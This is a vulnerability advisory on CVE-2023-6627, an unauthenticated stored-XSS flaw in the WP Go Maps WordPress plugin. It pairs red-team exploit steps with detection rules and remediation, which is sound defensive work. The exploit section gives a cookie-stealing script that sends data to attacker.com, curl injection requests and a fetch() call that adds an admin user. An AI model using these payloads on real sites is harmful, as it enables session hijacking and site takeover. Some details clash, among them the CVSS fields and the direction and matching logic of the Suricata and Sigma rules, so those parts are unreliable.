CVE-2023-6627

Executive Summary

CVE-2023-6627 is a critical security vulnerability affecting the WP Go Maps (formerly WP Google Maps) WordPress plugin. The flaw resides in the plugin's REST API, where most routes are not properly protected with capability checks. This allows any unauthenticated attacker to send crafted requests to the API, enabling them to store arbitrary malicious HTML and JavaScript on the WordPress site. This is a classic case of Stored Cross-Site Scripting (XSS) within the WordPress ecosystem.

The vulnerability is particularly dangerous because it requires no authentication and can be exploited to inject persistent payloads that execute in the context of any user viewing the affected page, including administrators. This can lead to session hijacking, credential theft, defacement, or further compromise of the WordPress installation.

Supply Chain & Package Security

This vulnerability is specific to the WP Go Maps WordPress plugin, which is distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are affected. The supply chain risk is moderate, as the plugin is widely used, but the patch is available directly from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - The attack does not require user action to be triggered.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) - Limited information disclosure possible.
• Integrity Impact: Low (I:L) - Attacker can modify data (inject scripts).
• Availability Impact: None (A:N) - No denial of service.

Threat Level: Medium. While the CVSS score is 6.1, the ease of exploitation (no auth, low complexity) and the potential for privilege escalation via XSS make it a high-priority fix for WordPress site administrators.

Deep Dive & Mechanics

The WP Go Maps plugin registers several REST API routes to handle map data, markers, and settings. In versions prior to 9.0.28, these routes were registered without proper permission callbacks. The register_rest_route() function in WordPress allows developers to specify a permission_callback that checks if the current user has the required capabilities (e.g., edit_posts, manage_options). In the vulnerable versions, this callback was either missing or set to __return_true, effectively granting access to any unauthenticated user.

An attacker can enumerate the exposed REST API endpoints (e.g., /wp-json/wpgmza/v1/...) and send POST requests containing malicious payloads. The plugin then stores this data in the WordPress database without sanitization or output escaping. When an administrator or other user views the map or related admin pages, the stored JavaScript executes in their browser.

Key vulnerable endpoints (likely):

• /wp-json/wpgmza/v1/maps
• /wp-json/wpgmza/v1/markers
• /wp-json/wpgmza/v1/settings

The lack of a nonce check or capability verification allows the attacker to bypass all security controls.

Vulnerable vs. Patched Code

Vulnerable Code (pre-9.0.28):

// Example of vulnerable REST route registration
add_action('rest_api_init', function () {
    register_rest_route('wpgmza/v1', '/maps', array(
        'methods' => 'POST',
        'callback' => 'wpgmza_rest_create_map',
        // Missing 'permission_callback' or set to '__return_true'
        'permission_callback' => '__return_true'
    ));
});

Patched Code (9.0.28+):

// Example of patched REST route registration
add_action('rest_api_init', function () {
    register_rest_route('wpgmza/v1', '/maps', array(
        'methods' => 'POST',
        'callback' => 'wpgmza_rest_create_map',
        'permission_callback' => function () {
            return current_user_can('edit_posts');
        }
    ));
});

The patch adds a proper permission_callback that checks for the edit_posts capability, ensuring only authenticated users with author-level privileges or higher can access the API.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Go Maps plugin version < 9.0.28.
• No authentication required.

Exploit Steps:

1. Enumerate REST API endpoints:

   curl -s http://target.com/wp-json/wpgmza/v1/ | jq .
   

2. Craft a malicious payload (e.g., JavaScript that steals cookies):

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send a POST request to create a new map with the payload:

   curl -X POST http://target.com/wp-json/wpgmza/v1/maps \
     -H "Content-Type: application/json" \
     -d '{"map_title": "Test Map", "map_width": "100%", "map_height": "400px", "map_start_lat": "0", "map_start_lng": "0", "map_start_zoom": "10", "map_marker_icon": "<script>alert(1)</script>"}'
   

4. Trigger the XSS: Visit the page where the map is displayed (e.g., /map/test-map/). The injected script executes.

Alternative Payload (Admin Session Hijack):

fetch('/wp-admin/admin-ajax.php?action=add_admin_user&user=attacker&pass=attacker123').then(r=>r.text()).then(console.log)

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor REST API logs for unusual POST requests to /wp-json/wpgmza/v1/* from unauthenticated IPs.
2. Check for unexpected map entries in the WordPress admin under Maps > All Maps.
3. Scan for injected JavaScript in the wp_postmeta table:

   SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
   

4. Use a Web Application Firewall (WAF) to block requests containing <script> tags in JSON payloads.

Hardening:

• Immediately update the plugin to version 9.0.28 or later.
• If unable to patch, disable the plugin temporarily.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Restrict REST API access to authenticated users only via .htaccess or a plugin like "WP REST API Authentication".

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-json/wpgmza/v1/maps or /wp-json/wpgmza/v1/markers from unknown IPs.
  • Requests containing <script> tags in JSON body.
• File IOCs:
  • Modified or new entries in wp_postmeta with meta_key containing wpgmza and meta_value containing JavaScript.
• Log IOCs:
  • WordPress debug log entries showing REST API errors from unauthenticated users.
• Behavioral IOCs:
  • Unexpected admin user creation.
  • Unusual outbound connections from the WordPress server to attacker-controlled domains.

Detection Engineering

YARA Rule

rule CVE_2023_6627_WP_Go_Maps_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Go Maps plugin data"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-6627"
    strings:
        $rest_endpoint = /\/wp-json\/wpgmza\/v1\/(maps|markers|settings)/
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $json_payload = /"map_marker_icon"\s*:\s*"[^"]*<script/
    condition:
        $rest_endpoint or ($xss_payload and $json_payload)
}

Sigma Rule

title: CVE-2023-6627 WP Go Maps REST API Unauthenticated XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to WP Go Maps REST API endpoints with potential XSS payloads.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/wp-json/wpgmza/v1/maps'
            - '/wp-json/wpgmza/v1/markers'
            - '/wp-json/wpgmza/v1/settings'
        cs-uri-query: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate plugin updates or admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6627 WP Go Maps REST API XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/wpgmza/v1/"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 9.0.28 or later from the WordPress plugin repository.
2. Verify the update by checking the plugin version in the admin dashboard.
3. Scan the site for any injected malicious content using a security plugin (e.g., Wordfence, Sucuri).

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block unauthenticated REST API access.
• Regularly audit WordPress plugins for known vulnerabilities.
• Enforce the principle of least privilege for WordPress user roles.
• Enable automatic updates for plugins where possible.

Workaround (if patching is not possible):

• Disable the WP Go Maps plugin until it can be updated.
• Use a plugin like "Disable REST API" to block all REST API access except for authenticated users.

Valters IT - DevSecOps & Cyber Threat Intelligence